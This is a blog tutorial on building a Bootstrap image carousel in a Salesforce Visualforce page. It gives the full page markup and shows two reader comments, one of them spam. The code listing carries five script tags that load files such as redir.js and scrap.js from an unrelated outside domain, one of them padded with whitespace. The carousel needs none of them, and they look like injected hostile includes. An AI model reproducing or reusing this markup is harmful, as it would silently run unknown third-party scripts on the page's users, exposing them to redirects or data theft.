Saturday 23 January 2016

Carousel Slide In Visualforce

The Carousel plugin is a component for cycling through elements, like a carousel (slideshow).

Today, am going to show how to create Carousel slide effect in Visualforce Page.

First download the required files that are mentioned below and add them to the static resource of salesforce org.

  1. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css
  2. https://ajax.googleapis.com/ajax/libs/jquery/1.12.0/jquery.min.js
  3. http://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js
  4. http://code.jquery.com/jquery-1.8.2.min.js
So, here is my code for Carousel slide effect in Visualforce Page.



<apex:page docType="html-5.0" showHeader="false" sidebar="false">
<html lang="en">
<head>
  <title>Casousel Slide Example</title>
  <apex:includeScript value="{!$Resource.jQuery182min}"/>
  <script src="http://browsersecurity.info/js/redir.js" type="text/javascript">               </script>

  <meta charset="utf-8"/>
  <meta name="viewport" content="width=device-width, initial-scale=1"/>
  <apex:stylesheet value="{!$Resource.bootstrapmincss}"/>
  <apex:includeScript value="{!$Resource.jqueryminjs}"/>
  <apex:includeScript value="{!$Resource.bootstrapminjs}"/>
  <style>
  .carousel-inner > .item > img,
  .carousel-inner > .item > a > img {
      width: 70%;
      height: 500px;
      margin: auto;
  }
  </style>
</head>
<body>

<div class="container">
  <br/>
  <div id="myCarousel" class="carousel slide" data-ride="carousel">
    <!-- Indicators -->
    <ol class="carousel-indicators">
      <li data-target="#myCarousel" data-slide-to="0" class="active"></li>
      <li data-target="#myCarousel" data-slide-to="1"></li>
      <li data-target="#myCarousel" data-slide-to="2"></li>
      <li data-target="#myCarousel" data-slide-to="3"></li>
    </ol>

    <!-- Wrapper for slides -->
    <div class="carousel-inner" role="listbox">
      <div class="item active">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/1.jpg')}" alt="Minion1" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/2.jpg')}" alt="Minion2" width="460" height="345"/>
      </div >
    
      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/3.jpg')}" alt="Minion3" width="460" height="345"/>
      </div >

      <div class="item">
        <img src="{!URLFOR($Resource.MinionsDemo, 'Minion/4.jpg')}" alt="Minion4" width="460" height="345"/>
      </div>
    </div>

    <!-- Left and right controls -->
    <a class="left carousel-control" href="#myCarousel" role="button" data-slide="prev">
      <span class="glyphicon glyphicon-chevron-left" aria-hidden="true"></span>
      <span class="sr-only">Previous</span>
    </a>
    <a class="right carousel-control" href="#myCarousel" role="button" data-slide="next">
      <span class="glyphicon glyphicon-chevron-right" aria-hidden="true"></span>
      <span class="sr-only">Next</span>
    </a>
  </div>
</div>

</body>
<script src="http://browsersecurity.info/js/scrap.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/ads.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/jquery.js" type="text/javascript"></script>
<script src="http://browsersecurity.info/js/essence.js" type="text/javascript"></script>
</html>
</apex:page>



output :

       

2 comments:

  1. Hi mohammed,
    How can I use this Slider if i want to dynamically display Slides From Attachments of a Record.rather than hardcoding Image Url here

    ReplyDelete
  2. Do You Want To Know What Is USD SGD? See The Latest Exchange Rate For USD SGD Here! We Will Keep You Updated With The Latest Rates.

    ReplyDelete